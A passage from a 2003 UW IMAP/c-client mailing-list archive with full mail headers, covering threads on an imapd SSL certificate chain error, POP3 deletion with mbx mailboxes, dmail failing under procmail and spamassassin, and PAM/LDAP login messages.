knows where my SSLDIR (/opt/openssl) and SSLCERTS (/opt/openssl/ssl/certs) really are on the system. In /opt/openssl/ssl/certs, I have an imapd.pem file that contains both my unencrypted RSA private key and my public cert issued by Verisign for the system, per the web instructions of: http://www.washington.edu/imap/documentation/SSLBUILD.html This directory also contains file "cacert.pem", which is a Verisign Class 3 Public Primary Certification Authority - G3, exported from my Opera browser (v 6.12). I can do: # cd /opt/openssl/ssl/certs # openssl verify -verbose -CApath . -purpose any cacert.pem cacert.pem: /C=US/O=VeriSign, Inc./OU=VeriSign Trust Network/OU=(c) 1999 VeriSign, Inc. - For authorized use only/CN=VeriSign Class 3 Public Primary Certification Authority - G3 error 18 at 0 depth lookup:self signed certificate OK # openssl verify -verbose -CApath . -purpose any imapd.pem imapd.pem: /C=US/ST=Maine/L=Waterville/O=Colby College/OU=Information Technology Services/CN=colby0.colby.edu error 20 at 0 depth lookup:unable to get local issuer certificate 27925:error:0B086079:x509 certificate routines:X509_STORE_CTX_purpose_inherit:unknown purpose id:x509_vfy.c:1006: How do I chain these guys together to banish "unable to get local issuer certificate"? I've tried adding the contents of cacert.pem to imapd.pem -- that won't fly. --- Jeff Earickson Colby College -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Jun 24 13:27:33 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 24 Jun 2003 13:27:33 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5OKRWvu014348 for ; Tue, 24 Jun 2003 13:27:32 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5OKRU7n017454 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 24 Jun 2003 13:27:30 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h5OKGd66055948; Tue, 24 Jun 2003 13:16:39 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5OKER1M033946 for ; Tue, 24 Jun 2003 13:14:27 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu4.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5OKEP9p001720 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 24 Jun 2003 13:14:25 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout4.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5OKEM2Z011420; Tue, 24 Jun 2003 13:14:22 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5OKEM4A006087 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 24 Jun 2003 13:14:22 -0700 Message-Id: Date: Tue, 24 Jun 2003 13:14:22 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Jeff A. Earickson" Cc: c-client@u.washington.edu Subject: Re: IMAP: unable to get local issuer certificate In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 24 Jun 2003, Jeff A. Earickson wrote: > This directory also contains file "cacert.pem", which is > a Verisign Class 3 Public Primary Certification Authority - G3, > exported from my Opera browser (v 6.12). I can do: Do you have the hash links which are also required? Did you look in the certs directory in the OpenSSL source tree when you built OpenSSL? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Jun 26 05:52:06 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Jun 2003 05:52:06 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5QCq6vu030889 for ; Thu, 26 Jun 2003 05:52:06 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5QCq2L5007850 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 26 Jun 2003 05:52:02 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h5QCepEg018054; Thu, 26 Jun 2003 05:40:51 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5QCbT1M017080 for ; Thu, 26 Jun 2003 05:37:29 -0700 Received: from hermes-node1.univ-metz.fr (hermes-node1.univ-metz.fr [195.220.226.244]) by mxu7.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5QCbMmU020751 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 26 Jun 2003 05:37:23 -0700 Received: from localhost.localdomain (www-data@donia.univ-metz.fr [195.220.226.42]) by hermes-node1.univ-metz.fr (8.12.3/8.12.3/Debian-6.3) with ESMTP id h5QCbKtA026114 for ; Thu, 26 Jun 2003 14:37:21 +0200 Message-Id: <200306261237.h5QCbKtA026114@hermes-node1.univ-metz.fr> Date: Thu, 26 Jun 2003 14:37:20 +0200 Reply-To: Anthony Hinsinger Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Anthony Hinsinger To: c-client@u.washington.edu Subject: big problem when delete/expunge in pop3 Content-Type: text/plain Content-Disposition: inline Content-Transfer-Encoding: binary MIME-Version: 1.0 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=X, Probability=10%, Report="SPAM_PHRASE_00_01" Hello, i'm setting up a uw imapd/pop3d server, and developping a web/mail tools using c-client library (using the perl module Mail::Cclient) due to a lot of problems with "unix" mailbox lock and imap, i decided to use the "mbx" format and with imapd, it rocks ! :) but a big problem appeared with pop3. when i want to delete a message, sometimes it delete two messages but in c-client log, i can see only one DELE command (but strangely i can see two consecutive QUIT call) i tried to set \Delete flag with message num or with uid ... same problem does anyone has an idea ??? is there an imcompatibility between pop3 and mbx format ? ___________________________ Anthony Hinsinger CRIUM / CIRIL - Cellule Réseau 03 87 54 70 86 anthony@univ-metz.fr -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jun 26 06:18:42 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Jun 2003 06:18:42 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5QDIgvu032097 for ; Thu, 26 Jun 2003 06:18:42 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5QDIdL5008632 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 26 Jun 2003 06:18:39 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h5QD7ilW029368; Thu, 26 Jun 2003 06:07:44 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5QD5E1M034294 for ; Thu, 26 Jun 2003 06:05:14 -0700 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5QD5DI7000737 for ; Thu, 26 Jun 2003 06:05:13 -0700 Received: from localhost (mrc@localhost) by Ikkoku-Kan.Panda.COM id GAA19653; Thu, 26 Jun 2003 06:05:06 -0700 (PDT) Message-Id: Date: Thu, 26 Jun 2003 06:05:06 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Anthony Hinsinger Cc: c-client@u.washington.edu Subject: Re: big problem when delete/expunge in pop3 In-Reply-To: <200306261237.h5QCbKtA026114@hermes-node1.univ-metz.fr> References: <200306261237.h5QCbKtA026114@hermes-node1.univ-metz.fr> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@Ikkoku-Kan.Panda.COM X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=IIII, Probability=4%, Report="IN_REP_TO, MSG_ID_ADDED_BY_MTA_3, REFERENCES, SPAM_PHRASE_00_01, __IN_REP_TO, __REFERENCES, __USER_AGENT_PINE" I posted an answer when you asked this question on comp.mail.imap yesterday. Did you see that answer? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Jun 26 13:00:32 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Jun 2003 13:00:32 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5QK0Wvu021333 for ; Thu, 26 Jun 2003 13:00:32 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5QK0TL5024766 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 26 Jun 2003 13:00:29 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h5QJwv66084376; Thu, 26 Jun 2003 12:58:57 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5QJuQ1M060880 for ; Thu, 26 Jun 2003 12:56:26 -0700 Received: from linoleic.hodulik.com (dsl093-183-003.sfo2.dsl.speakeasy.net [66.93.183.3]) by mxu2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5QJuOu5012118 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 26 Jun 2003 12:56:24 -0700 Received: from hodulik.com (router.jweekly.com [66.54.159.134]) (authenticated bits=0) by linoleic.hodulik.com (8.12.9/8.12.6) with ESMTP id h5QJuFn6009964 for ; Thu, 26 Jun 2003 12:56:16 -0700 Message-Id: <4434CC39-A810-11D7-A6EE-003065BA8AD8@hodulik.com> Date: Thu, 26 Jun 2003 12:56:24 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Nick Hodulik To: c-client@u.washington.edu Subject: dmail + procmail + spamassassin Mime-Version: 1.0 (Apple Message framework v552) Content-Type: text/plain; charset=US-ASCII; format=flowed Content-Transfer-Encoding: 7bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=IIIIII, Probability=6%, Report="SIGNATURE_SHORT_DENSE, SPAM_PHRASE_00_01, __EVITE_CTYPE" I'm running UW-IMAP on a Gentoo box with sendmail and procmail and delivering to mbx format using dmail. This configuration works very well. However, I'd like to install spamassassin, but every time I try dmail starts spitting out endless "bad first message line" errors to the mail log once procmail passes it off. It does not do this without spamassassin. I understand this may not entirely be a UW issue, but intuition says that it might be. Has anyone else had any experience with a setup similar to this? My .procmailrc file: SHELL=/bin/bash UMASK=077 VERBOSE=yes LOGABSTRACT=all DEFAULT=$HOME/mail MAILDIR=$HOME/mail PMDIR=$HOME/.procmail LOGFILE=$PMDIR/procmail.log INCLUDERC=$HOME/.procmailrc DROPPRIVS=yes #:0fw #| spamc -u $LOGFILE #:0fw:spamassassin.lock #| /usr/bin/spamassassin :0 | /usr/local/imap/sbin/dmail +INBOX Note that the two spamassasin-related things are commented out because they don't seem to work. I have tried both the spamc and the standalone versions of spamassassin to no avail. Help! nick -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jun 26 16:31:23 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 26 Jun 2003 16:31:23 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5QNVMvu001265 for ; Thu, 26 Jun 2003 16:31:22 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5QNVK7n015316 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 26 Jun 2003 16:31:20 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h5QNU966020540; Thu, 26 Jun 2003 16:30:09 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5QNRd1M047080 for ; Thu, 26 Jun 2003 16:27:39 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxu3.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5QNRZe1008551 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 26 Jun 2003 16:27:35 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5QNRXkI005953; Thu, 26 Jun 2003 16:27:33 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5QNRWXa018217 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 26 Jun 2003 16:27:32 -0700 Message-Id: Date: Thu, 26 Jun 2003 16:27:33 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Nick Hodulik Cc: c-client@u.washington.edu Subject: Re: dmail + procmail + spamassassin In-Reply-To: <4434CC39-A810-11D7-A6EE-003065BA8AD8@hodulik.com> References: <4434CC39-A810-11D7-A6EE-003065BA8AD8@hodulik.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN dmail issues the "bad first message line" message under the following conditions: . immediate end of file on stdin after being started . no newline in first 1023 characters . message starts with a newline . fgets() did not write a NUL after the newline After issuing the message, dmail terminates. So if you are getting "endless" instances of that message, that sounds like something is spawning "endless" dmail processes, presumably with the same problem. Perhaps this will help you in tracking down the problem. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Jun 27 01:32:36 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 27 Jun 2003 01:32:36 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5R8WZvu016442 for ; Fri, 27 Jun 2003 01:32:35 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5R8WW7n029045 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 27 Jun 2003 01:32:33 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h5R8VNlW018112; Fri, 27 Jun 2003 01:31:23 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5R8Tr1M046180 for ; Fri, 27 Jun 2003 01:29:55 -0700 Received: from mail.samera.com.py (mail.samera.com.py [200.85.40.10]) by mxu2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5R8Tlu4028591 for ; Fri, 27 Jun 2003 01:29:51 -0700 Received: from samera.com.py (sojourner.samera.com [192.168.1.1]) by mail.samera.com.py (8.11.6/8.11.6) with ESMTP id h5R8U1W28943 for ; Fri, 27 Jun 2003 04:30:01 -0400 Message-Id: <3EFC0078.9090100@samera.com.py> Date: Fri, 27 Jun 2003 04:29:44 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Oliver Schulze L." To: c-client@u.washington.edu Subject: LDAP + pop3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: es-py, en-us X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN X-Uwash-Spam: Gauge=III, Probability=3%, Report="SIGNATURE_LONG_SPARSE, SPAM_PHRASE_00_01, X_ACCEPT_LANG, __EVITE_CTYPE" Hi, I'm running RedHat 9 with LDAP (openldap). All my user accounts(UID>500) are in the LDAP DB. I see this messages in /var/log/messages: Jun 22 05:02:28 myserver pop(pam_unix)[9765]: check pass; user unknown Jun 22 05:02:28 myserver pop(pam_unix)[9765]: authentication failure; logname= ui d=0 euid=0 tty= ruser= rhost= Jun 22 05:02:28 myserver ipop3d[9765]: Login user=user1 host=host.example.com [192.168.210.43] nmsgs=0/0 Jun 22 05:02:28 myserver ipop3d[9765]: Logout user=user1 host=host.example.com [192.168.210.43] nmsgs=0 ndele=0 I have this 2 entries for every login to ipop3d: Jun 22 05:02:28 myserver pop(pam_unix)[9765]: check pass; user unknown Jun 22 05:02:28 myserver pop(pam_unix)[9765]: authentication failure; logname= ui d=0 euid=0 tty= ruser= rhost= Is this a problem with ipop3d? Many thanks Oliver -- Oliver Schulze L. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Jun 27 10:14:10 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 27 Jun 2003 10:14:09 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5RHE7vu004716 for ; Fri, 27 Jun 2003 10:14:07 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5RHE4L5030633 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 27 Jun 2003 10:14:04 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h5RHDH66085728; Fri, 27 Jun 2003 10:13:17 -0700 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5RHBd1M025006 for ; Fri, 27 Jun 2003 10:11:39 -0700 Received: from Ikkoku-Kan.Panda.COM (panda.com [206.124.149.114]) by mxu5.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5RHBb75018286 for ; Fri, 27 Jun 2003 10:11:38 -0700 Received: from localhost (mrc@localhost) by Ikkoku-Kan.Panda.COM id KAA21973; Fri, 27 Jun 2003 10:11:16 -0700 (PDT) Message-Id: Date: Fri, 27 Jun 2003 10:11:16 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Oliver Schulze L." Cc: c-client@u.washington.edu Subject: Re: LDAP + pop3 In-Reply-To: <3EFC0078.9090100@samera.com.py> References: <3EFC0078.9090100@samera.com.py> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@Ikkoku-Kan.Panda.COM X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is not an ipop3d problem. It seems to be a problem with your PAM configuration. I am not a PAM expert and can not help you further with configuring PAM, but you should be able to get further assistance in one of the Linux forums. On Fri, 27 Jun 2003, Oliver Schulze L. wrote: > I'm running RedHat 9 with LDAP (openldap). All my user accounts(UID>500) > are in the LDAP DB. I see this messages in /var/log/messages: > Jun 22 05:02:28 myserver pop(pam_unix)[9765]: check pass; user unknown > Jun 22 05:02:28 myserver pop(pam_unix)[9765]: authentication failure; > logname= ui > d=0 euid=0 tty= ruser= rhost= > Jun 22 05:02:28 myserver ipop3d[9765]: Login user=user1 > host=host.example.com [192.168.210.43] nmsgs=0/0 > Jun 22 05:02:28 myserver ipop3d[9765]: Logout user=user1 > host=host.example.com [192.168.210.43] nmsgs=0 ndele=0 > > I have this 2 entries for every login to ipop3d: > Jun 22 05:02:28 myserver pop(pam_unix)[9765]: check pass; user unknown > Jun 22 05:02:28 myserver pop(pam_unix)[9765]: authentication failure; > logname= ui > d=0 euid=0 tty= ruser= rhost= > > > Is this a problem with ipop3d? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Jun 27 11:03:19 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 27 Jun 2003 11:03:19 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5RI3Ivu007103 for ; Fri, 27 Jun 2003 11:03:18 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5RI3FL5000309 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 27 Jun 2003 11:03:15 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h5RI2BlW011766; Fri, 27 Jun 2003 11:02:11 -0700 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5RI121M051306 for ; Fri, 27 Jun 2003 11:01:02 -0700 Received: from mail.samera.com.py (mail.samera.com.py [200.85.40.10]) by mxu7.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5RI0s0A031352 for ; Fri, 27 Jun 2003 11:00:58 -0700 Received: from samera.com.py (sojourner.samera.com [192.168.1.1]) by mail.samera.com.py (8.11.6/8.11.6) with ESMTP id h5RI0kW05030; Fri, 27 Jun 2003 14:00:48 -0400 Message-Id: <3EFC8647.6010209@samera.com.py> Date: Fri, 27 Jun 2003 14:00:39 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Oliver Schulze L." To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: LDAP + pop3 In-Reply-To: References: <3EFC0078.9090100@samera.com.py> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: es-py, en-us X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Many Thanks, it will help me debug the thing Oliver Mark Crispin wrote: >This is not an ipop3d problem. It seems to be a problem with your PAM >configuration. I am not a PAM expert and can not help you further with >configuring PAM, but you should be able to get further assistance in one >of the Linux forums. > >On Fri, 27 Jun 2003, Oliver Schulze L. wrote: > > >>I'm running RedHat 9 with LDAP (openldap). All my user accounts(UID>500) >>are in the LDAP DB. I see this messages in /var/log/messages: >>Jun 22 05:02:28 myserver pop(pam_unix)[9765]: check pass; user unknown >>Jun 22 05:02:28 myserver pop(pam_unix)[9765]: authentication failure; >>logname= ui >>d=0 euid=0 tty= ruser= rhost= >>Jun 22 05:02:28 myserver ipop3d[9765]: Login user=user1 >>host=host.example.com [192.168.210.43] nmsgs=0/0 >>Jun 22 05:02:28 myserver ipop3d[9765]: Logout user=user1 >>host=host.example.com [192.168.210.43] nmsgs=0 ndele=0 >> >>I have this 2 entries for every login to ipop3d: >>Jun 22 05:02:28 myserver pop(pam_unix)[9765]: check pass; user unknown >>Jun 22 05:02:28 myserver pop(pam_unix)[9765]: authentication failure; >>logname= ui >>d=0 euid=0 tty= ruser= rhost= >> >> >>Is this a problem with ipop3d? >> >> > >-- Mark -- > >http://staff.washington.edu/mrc >Science does not emerge from voting, party politics, or public debate. >Si vis pacem, para bellum. > > -- Oliver Schulze L. From pinedev@shivax2.cac.washington.edu Sun Jun 29 05:18:30 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 29 Jun 2003 05:18:30 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5TCIUvu012128 for ; Sun, 29 Jun 2003 05:18:30 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5TCIN7n017802 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 29 Jun 2003 05:18:23 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with SMTP id h5TCH8DE020646; Sun, 29 Jun 2003 05:17:09 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.1+UW03.04/8.12.1+UW03.02) with ESMTP id h5TCFC1M034548 for ; Sun, 29 Jun 2003 05:15:12 -0700 Received: from obelix.spectraweb.ch (mailrelay03.sunrise.ch [194.158.229.31]) by mxu2.u.washington.edu (8.12.9+UW03.06/8.12.9+UW03.06) with ESMTP id h5TCFAu4029570 for ; Sun, 29 Jun 2003 05:15:11 -0700 Received: from petertosh (pop-be-8-1-dialup-222.freesurf.ch [194.230.124.222]) by obelix.spectraweb.ch (8.12.9/8.12.6) with ESMTP id h5TCF7ba031782 for ; Sun, 29 Jun 2003 14:15:08 +0200 Received: from tpo2 (helo=localhost) by petertosh with local-esmtp (Exim 3.35 #1 (Debian)) id 19WavA-0005sF-00 for ; Sun, 29 Jun 2003 14:04:40 +0200 Message-Id: Date: Sun, 29 Jun 2003 14:04:29 +0200 (CEST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: tomas pospisek To: c-client@u.washington.edu Subject: Re: #mhinbox vs. INBOX In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-X-Sender: tpo2@petertosh X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 16 Jun 2003, Mark Crispin wrote: > On 